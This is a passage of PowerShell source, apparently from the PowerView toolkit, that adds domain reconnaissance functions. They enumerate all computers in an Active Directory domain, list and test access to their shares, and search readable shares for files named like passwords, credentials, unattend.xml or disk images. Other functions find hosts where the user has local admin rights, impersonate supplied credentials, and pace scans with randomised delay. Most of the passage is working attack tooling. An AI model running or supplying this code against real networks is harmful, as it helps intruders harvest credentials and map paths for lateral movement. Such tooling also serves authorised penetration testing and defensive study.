+ [ValidateNotNullOrEmpty()] + [Alias('OperatingSystem')] + [String] + $ComputerOperatingSystem, + + [ValidateNotNullOrEmpty()] + [Alias('ServicePack')] + [String] + $ComputerServicePack, + + [ValidateNotNullOrEmpty()] + [Alias('SiteName')] + [String] + $ComputerSiteName, + + [Alias('CheckAccess')] + [Switch] + $CheckShareAccess, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [ValidateRange(1, 10000)] + [Int] + $Delay = 0, + + [ValidateRange(0.0, 1.0)] + [Double] + $Jitter = .3, + + [Int] + [ValidateRange(1, 100)] + $Threads = 20 + ) + + BEGIN { + + $ComputerSearcherArguments = @{ + 'Properties' = 'dnshostname' + } + if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } + if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } + if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } + if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained } + if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } + if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } + if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } + if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } + + if ($PSBoundParameters['ComputerName']) { + $TargetComputers = $ComputerName + } + else { + Write-Verbose '[Find-DomainShare] Querying computers in the domain' + $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname + } + Write-Verbose "[Find-DomainShare] TargetComputers length: $($TargetComputers.Length)" + if ($TargetComputers.Length -eq 0) { + throw '[Find-DomainShare] No hosts found to enumerate' + } + + # the host enumeration block we're using to enumerate all servers + $HostEnumBlock = { + Param($ComputerName, $CheckShareAccess, $TokenHandle) + + if ($TokenHandle) { + # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation + $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet + } + + ForEach ($TargetComputer in $ComputerName) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer + if ($Up) { + # get the shares for this host and check what we find + $Shares = Get-NetShare -ComputerName $TargetComputer + ForEach ($Share in $Shares) { + $ShareName = $Share.Name + # $Remark = $Share.Remark + $Path = '\\'+$TargetComputer+'\'+$ShareName + + if (($ShareName) -and ($ShareName.trim() -ne '')) { + # see if we want to check access to this share + if ($CheckShareAccess) { + # check if the user has access to this path + try { + $Null = [IO.Directory]::GetFiles($Path) + $Share + } + catch { + Write-Verbose "Error accessing share path $Path : $_" + } + } + else { + $Share + } + } + } + } + } + + if ($TokenHandle) { + Invoke-RevertToSelf + } + } + + $LogonToken = $Null + if ($PSBoundParameters['Credential']) { + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + else { + $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet + } + } + } + + PROCESS { + # only ignore threading if -Delay is passed + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { + + Write-Verbose "[Find-DomainShare] Total number of hosts: $($TargetComputers.count)" + Write-Verbose "[Find-DomainShare] Delay: $Delay, Jitter: $Jitter" + $Counter = 0 + $RandNo = New-Object System.Random + + ForEach ($TargetComputer in $TargetComputers) { + $Counter = $Counter + 1 + + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + + Write-Verbose "[Find-DomainShare] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $CheckShareAccess, $LogonToken + } + } + else { + Write-Verbose "[Find-DomainShare] Using threading with threads: $Threads" + + # if we're using threading, kick off the script block with New-ThreadedFunction + $ScriptParams = @{ + 'CheckShareAccess' = $CheckShareAccess + 'TokenHandle' = $LogonToken + } + + # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params + New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads + } + } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +function Find-InterestingDomainShareFile { +<# +.SYNOPSIS + +Searches for files matching specific criteria on readable shares +in the domain. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetShare, Find-InterestingFile, New-ThreadedFunction + +.DESCRIPTION + +This function enumerates all machines on the current (or specified) domain +using Get-DomainComputer, and enumerates the available shares for each +machine with Get-NetShare. It will then use Find-InterestingFile on each +readhable share, searching for files marching specific criteria. If -Credential +is passed, then Invoke-UserImpersonation is used to impersonate the specified +user before enumeration, reverting after with Invoke-RevertToSelf. + +.PARAMETER ComputerName + +Specifies an array of one or more hosts to enumerate, passable on the pipeline. +If -ComputerName is not passed, the default behavior is to enumerate all machines +in the domain returned by Get-DomainComputer. + +.PARAMETER ComputerDomain + +Specifies the domain to query for computers, defaults to the current domain. + +.PARAMETER ComputerLDAPFilter + +Specifies an LDAP query string that is used to search for computer objects. + +.PARAMETER ComputerSearchBase + +Specifies the LDAP source to search through for computers, +e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. + +.PARAMETER ComputerOperatingSystem + +Search computers with a specific operating system, wildcards accepted. + +.PARAMETER ComputerServicePack + +Search computers with a specific service pack, wildcards accepted. + +.PARAMETER ComputerSiteName + +Search computers in the specific AD Site name, wildcards accepted. + +.PARAMETER Include + +Only return files/folders that match the specified array of strings, +i.e. @(*.doc*, *.xls*, *.ppt*) + +.PARAMETER SharePath + +Specifies one or more specific share paths to search, in the form \\COMPUTER\Share + +.PARAMETER ExcludedShares + +Specifies share paths to exclude, default of C$, Admin$, Print$, IPC$. + +.PARAMETER LastAccessTime + +Only return files with a LastAccessTime greater than this date value. + +.PARAMETER LastWriteTime + +Only return files with a LastWriteTime greater than this date value. + +.PARAMETER CreationTime + +Only return files with a CreationTime greater than this date value. + +.PARAMETER OfficeDocs + +Switch. Search for office documents (*.doc*, *.xls*, *.ppt*) + +.PARAMETER FreshEXEs + +Switch. Find .EXEs accessed within the last 7 days. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain and target systems. + +.PARAMETER Delay + +Specifies the delay (in seconds) between enumerating hosts, defaults to 0. + +.PARAMETER Jitter + +Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 + +.PARAMETER Threads + +The number of threads to use for user searching, defaults to 20. + +.EXAMPLE + +Find-InterestingDomainShareFile + +Finds 'interesting' files on the current domain. + +.EXAMPLE + +Find-InterestingDomainShareFile -ComputerName @('windows1.testlab.local','windows2.testlab.local') + +Finds 'interesting' files on readable shares on the specified systems. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('DEV\dfm.a', $SecPassword) +Find-DomainShare -Domain testlab.local -Credential $Cred + +Searches interesting files in the testlab.local domain using the specified alternate credentials. + +.OUTPUTS + +PowerView.FoundFile +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.FoundFile')] + [CmdletBinding(DefaultParameterSetName = 'FileSpecification')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DNSHostName')] + [String[]] + $ComputerName, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerDomain, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerLDAPFilter, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerSearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('OperatingSystem')] + [String] + $ComputerOperatingSystem, + + [ValidateNotNullOrEmpty()] + [Alias('ServicePack')] + [String] + $ComputerServicePack, + + [ValidateNotNullOrEmpty()] + [Alias('SiteName')] + [String] + $ComputerSiteName, + + [Parameter(ParameterSetName = 'FileSpecification')] + [ValidateNotNullOrEmpty()] + [Alias('SearchTerms', 'Terms')] + [String[]] + $Include = @('*password*', '*sensitive*', '*admin*', '*login*', '*secret*', 'unattend*.xml', '*.vmdk', '*creds*', '*credential*', '*.config'), + + [ValidateNotNullOrEmpty()] + [ValidatePattern('\\\\')] + [Alias('Share')] + [String[]] + $SharePath, + + [String[]] + $ExcludedShares = @('C$', 'Admin$', 'Print$', 'IPC$'), + + [Parameter(ParameterSetName = 'FileSpecification')] + [ValidateNotNullOrEmpty()] + [DateTime] + $LastAccessTime, + + [Parameter(ParameterSetName = 'FileSpecification')] + [ValidateNotNullOrEmpty()] + [DateTime] + $LastWriteTime, + + [Parameter(ParameterSetName = 'FileSpecification')] + [ValidateNotNullOrEmpty()] + [DateTime] + $CreationTime, + + [Parameter(ParameterSetName = 'OfficeDocs')] + [Switch] + $OfficeDocs, + + [Parameter(ParameterSetName = 'FreshEXEs')] + [Switch] + $FreshEXEs, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [ValidateRange(1, 10000)] + [Int] + $Delay = 0, + + [ValidateRange(0.0, 1.0)] + [Double] + $Jitter = .3, + + [Int] + [ValidateRange(1, 100)] + $Threads = 20 + ) + + BEGIN { + $ComputerSearcherArguments = @{ + 'Properties' = 'dnshostname' + } + if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } + if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } + if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } + if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } + if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } + if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } + if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } + + if ($PSBoundParameters['ComputerName']) { + $TargetComputers = $ComputerName + } + else { + Write-Verbose '[Find-InterestingDomainShareFile] Querying computers in the domain' + $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname + } + Write-Verbose "[Find-InterestingDomainShareFile] TargetComputers length: $($TargetComputers.Length)" + if ($TargetComputers.Length -eq 0) { + throw '[Find-InterestingDomainShareFile] No hosts found to enumerate' + } + + # the host enumeration block we're using to enumerate all servers + $HostEnumBlock = { + Param($ComputerName, $Include, $ExcludedShares, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $TokenHandle) + + if ($TokenHandle) { + # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation + $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet + } + + ForEach ($TargetComputer in $ComputerName) { + + $SearchShares = @() + if ($TargetComputer.StartsWith('\\')) { + # if a share is passed as the server + $SearchShares += $TargetComputer + } + else { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer + if ($Up) { + # get the shares for this host and display what we find + $Shares = Get-NetShare -ComputerName $TargetComputer + ForEach ($Share in $Shares) { + $ShareName = $Share.Name + $Path = '\\'+$TargetComputer+'\'+$ShareName + # make sure we get a real share name back + if (($ShareName) -and ($ShareName.Trim() -ne '')) { + # skip this share if it's in the exclude list + if ($ExcludedShares -NotContains $ShareName) { + # check if the user has access to this path + try { + $Null = [IO.Directory]::GetFiles($Path) + $SearchShares += $Path + } + catch { + Write-Verbose "[!] No access to $Path" + } + } + } + } + } + } + + ForEach ($Share in $SearchShares) { + Write-Verbose "Searching share: $Share" + $SearchArgs = @{ + 'Path' = $Share + 'Include' = $Include + } + if ($OfficeDocs) { + $SearchArgs['OfficeDocs'] = $OfficeDocs + } + if ($FreshEXEs) { + $SearchArgs['FreshEXEs'] = $FreshEXEs + } + if ($LastAccessTime) { + $SearchArgs['LastAccessTime'] = $LastAccessTime + } + if ($LastWriteTime) { + $SearchArgs['LastWriteTime'] = $LastWriteTime + } + if ($CreationTime) { + $SearchArgs['CreationTime'] = $CreationTime + } + if ($CheckWriteAccess) { + $SearchArgs['CheckWriteAccess'] = $CheckWriteAccess + } + Find-InterestingFile @SearchArgs + } + } + + if ($TokenHandle) { + Invoke-RevertToSelf + } + } + + $LogonToken = $Null + if ($PSBoundParameters['Credential']) { + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + else { + $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet + } + } + } + + PROCESS { + # only ignore threading if -Delay is passed + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { + + Write-Verbose "[Find-InterestingDomainShareFile] Total number of hosts: $($TargetComputers.count)" + Write-Verbose "[Find-InterestingDomainShareFile] Delay: $Delay, Jitter: $Jitter" + $Counter = 0 + $RandNo = New-Object System.Random + + ForEach ($TargetComputer in $TargetComputers) { + $Counter = $Counter + 1 + + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + + Write-Verbose "[Find-InterestingDomainShareFile] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $Include, $ExcludedShares, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $LogonToken + } + } + else { + Write-Verbose "[Find-InterestingDomainShareFile] Using threading with threads: $Threads" + + # if we're using threading, kick off the script block with New-ThreadedFunction + $ScriptParams = @{ + 'Include' = $Include + 'ExcludedShares' = $ExcludedShares + 'OfficeDocs' = $OfficeDocs + 'ExcludeHidden' = $ExcludeHidden + 'FreshEXEs' = $FreshEXEs + 'CheckWriteAccess' = $CheckWriteAccess + 'TokenHandle' = $LogonToken + } + + # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params + New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads + } + } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +function Find-LocalAdminAccess { +<# +.SYNOPSIS + +Finds machines on the local domain where the current user has local administrator access. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Test-AdminAccess, New-ThreadedFunction + +.DESCRIPTION + +This function enumerates all machines on the current (or specified) domain +using Get-DomainComputer, and for each computer it checks if the current user +has local administrator access using Test-AdminAccess. If -Credential is passed, +then Invoke-UserImpersonation is used to impersonate the specified user +before enumeration, reverting after with Invoke-RevertToSelf. + +Idea adapted from the local_admin_search_enum post module in Metasploit written by: + 'Brandon McCann "zeknox" ' + 'Thomas McCarthy "smilingraccoon" ' + 'Royce Davis "r3dy" ' + +.PARAMETER ComputerName + +Specifies an array of one or more hosts to enumerate, passable on the pipeline. +If -ComputerName is not passed, the default behavior is to enumerate all machines +in the domain returned by Get-DomainComputer. + +.PARAMETER ComputerDomain + +Specifies the domain to query for computers, defaults to the current domain. + +.PARAMETER ComputerLDAPFilter + +Specifies an LDAP query string that is used to search for computer objects. + +.PARAMETER ComputerSearchBase + +Specifies the LDAP source to search through for computers, +e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. + +.PARAMETER ComputerOperatingSystem + +Search computers with a specific operating system, wildcards accepted. + +.PARAMETER ComputerServicePack + +Search computers with a specific service pack, wildcards accepted. + +.PARAMETER ComputerSiteName + +Search computers in the specific AD Site name, wildcards accepted. + +.PARAMETER CheckShareAccess + +Switch. Only display found shares that the local user has access to. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain and target systems. + +.PARAMETER Delay + +Specifies the delay (in seconds) between enumerating hosts, defaults to 0. + +.PARAMETER Jitter + +Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 + +.PARAMETER Threads + +The number of threads to use for user searching, defaults to 20. + +.EXAMPLE + +Find-LocalAdminAccess + +Finds machines in the current domain the current user has admin access to. + +.EXAMPLE + +Find-LocalAdminAccess -Domain dev.testlab.local + +Finds machines in the dev.testlab.local domain the current user has admin access to. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Find-LocalAdminAccess -Domain testlab.local -Credential $Cred + +Finds machines in the testlab.local domain that the user with the specified -Credential +has admin access to. + +.OUTPUTS + +String + +Computer dnshostnames the current user has administrative access to. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType([String])] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DNSHostName')] + [String[]] + $ComputerName, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerDomain, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerLDAPFilter, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerSearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('OperatingSystem')] + [String] + $ComputerOperatingSystem, + + [ValidateNotNullOrEmpty()] + [Alias('ServicePack')] + [String] + $ComputerServicePack, + + [ValidateNotNullOrEmpty()] + [Alias('SiteName')] + [String] + $ComputerSiteName, + + [Switch] + $CheckShareAccess, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [ValidateRange(1, 10000)] + [Int] + $Delay = 0, + + [ValidateRange(0.0, 1.0)] + [Double] + $Jitter = .3, + + [Int] + [ValidateRange(1, 100)] + $Threads = 20 + ) + + BEGIN { + $ComputerSearcherArguments = @{ + 'Properties' = 'dnshostname' + } + if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } + if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } + if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } + if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained } + if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } + if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } + if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } + if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } + + if ($PSBoundParameters['ComputerName']) { + $TargetComputers = $ComputerName + } + else { + Write-Verbose '[Find-LocalAdminAccess] Querying computers in the domain' + $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname + } + Write-Verbose "[Find-LocalAdminAccess] TargetComputers length: $($TargetComputers.Length)" + if ($TargetComputers.Length -eq 0) { + throw '[Find-LocalAdminAccess] No hosts found to enumerate' + } + + # the host enumeration block we're using to enumerate all servers + $HostEnumBlock = { + Param($ComputerName, $TokenHandle) + + if ($TokenHandle) { + # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation + $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet + } + + ForEach ($TargetComputer in $ComputerName) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer + if ($Up) { + # check if the current user has local admin access to this server + $Access = Test-AdminAccess -ComputerName $TargetComputer + if ($Access.IsAdmin) { + $TargetComputer + } + } + } + + if ($TokenHandle) { + Invoke-RevertToSelf + } + } + + $LogonToken = $Null + if ($PSBoundParameters['Credential']) { + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + else { + $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet + } + } + } + + PROCESS { + # only ignore threading if -Delay is passed + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { + + Write-Verbose "[Find-LocalAdminAccess] Total number of hosts: $($TargetComputers.count)" + Write-Verbose "[Find-LocalAdminAccess] Delay: $Delay, Jitter: $Jitter" + $Counter = 0 + $RandNo = New-Object System.Random + + ForEach ($TargetComputer in $TargetComputers) { + $Counter = $Counter + 1 + + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + + Write-Verbose "[Find-LocalAdminAccess] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $LogonToken + } + } + else { + Write-Verbose "[Find-LocalAdminAccess] Using threading with threads: $Threads" + + # if we're using threading, kick off the script block with New-ThreadedFunction + $ScriptParams = @{ + 'TokenHandle' = $LogonToken + } + + # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params + New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads + } + } +} + + +function Find-DomainLocalGroupMember { +<# +.SYNOPSIS + +Enumerates the members of specified local group (default administrators) +for all the targeted machines on the current (or specified) domain. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetLocalGroupMember, New-ThreadedFunction + +.DESCRIPTION + +This function enumerates all machines on the current (or specified) domain +using Get-DomainComputer, and enumerates the members of the specified local +group (default of Administrators) for each machine using Get-NetLocalGroupMember. +By default, the API method is used, but this can be modified with '-Method winnt' +to use the WinNT service provider. + +.PARAMETER ComputerName + +Specifies an array of one or more hosts to enumerate, passable on the pipeline. +If -ComputerName is not passed, the default behavior is to enumerate all machines +in the domain returned by Get-DomainComputer. + +.PARAMETER ComputerDomain + +Specifies the domain to query for computers, defaults to the current domain. + +.PARAMETER ComputerLDAPFilter + +Specifies an LDAP query string that is used to search for computer objects. + +.PARAMETER ComputerSearchBase + +Specifies the LDAP source to search through for computers, +e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. + +.PARAMETER ComputerOperatingSystem + +Search computers with a specific operating system, wildcards accepted. + +.PARAMETER ComputerServicePack + +Search computers with a specific service pack, wildcards accepted. + +.PARAMETER ComputerSiteName + +Search computers in the specific AD Site name, wildcards accepted. + +.PARAMETER GroupName + +The local group name to query for users. If not given, it defaults to "Administrators". + +.PARAMETER Method + +The collection method to use, defaults to 'API', also accepts 'WinNT'. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain and target systems. + +.PARAMETER Delay + +Specifies the delay (in seconds) between enumerating hosts, defaults to 0. + +.PARAMETER Jitter + +Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 + +.PARAMETER Threads + +The number of threads to use for user searching, defaults to 20. + +.EXAMPLE + +Find-DomainLocalGroupMember + +Enumerates the local group memberships for all reachable machines in the current domain. + +.EXAMPLE + +Find-DomainLocalGroupMember -Domain dev.testlab.local + +Enumerates the local group memberships for all reachable machines the dev.testlab.local domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Find-DomainLocalGroupMember -Domain testlab.local -Credential $Cred + +Enumerates the local group memberships for all reachable machines the dev.testlab.local +domain using the alternate credentials. + +.OUTPUTS + +PowerView.LocalGroupMember.API + +Custom PSObject with translated group property fields from API results. + +PowerView.LocalGroupMember.WinNT + +Custom PSObject with translated group property fields from WinNT results. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.LocalGroupMember.API')] + [OutputType('PowerView.LocalGroupMember.WinNT')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DNSHostName')] + [String[]] + $ComputerName, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerDomain, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerLDAPFilter, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerSearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('OperatingSystem')] + [String] + $ComputerOperatingSystem, + + [ValidateNotNullOrEmpty()] + [Alias('ServicePack')] + [String] + $ComputerServicePack, + + [ValidateNotNullOrEmpty()] + [Alias('SiteName')] + [String] + $ComputerSiteName, + + [Parameter(ValueFromPipelineByPropertyName = $True)] + [ValidateNotNullOrEmpty()] + [String] + $GroupName = 'Administrators', + + [ValidateSet('API', 'WinNT')] + [Alias('CollectionMethod')] + [String] + $Method = 'API', + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = 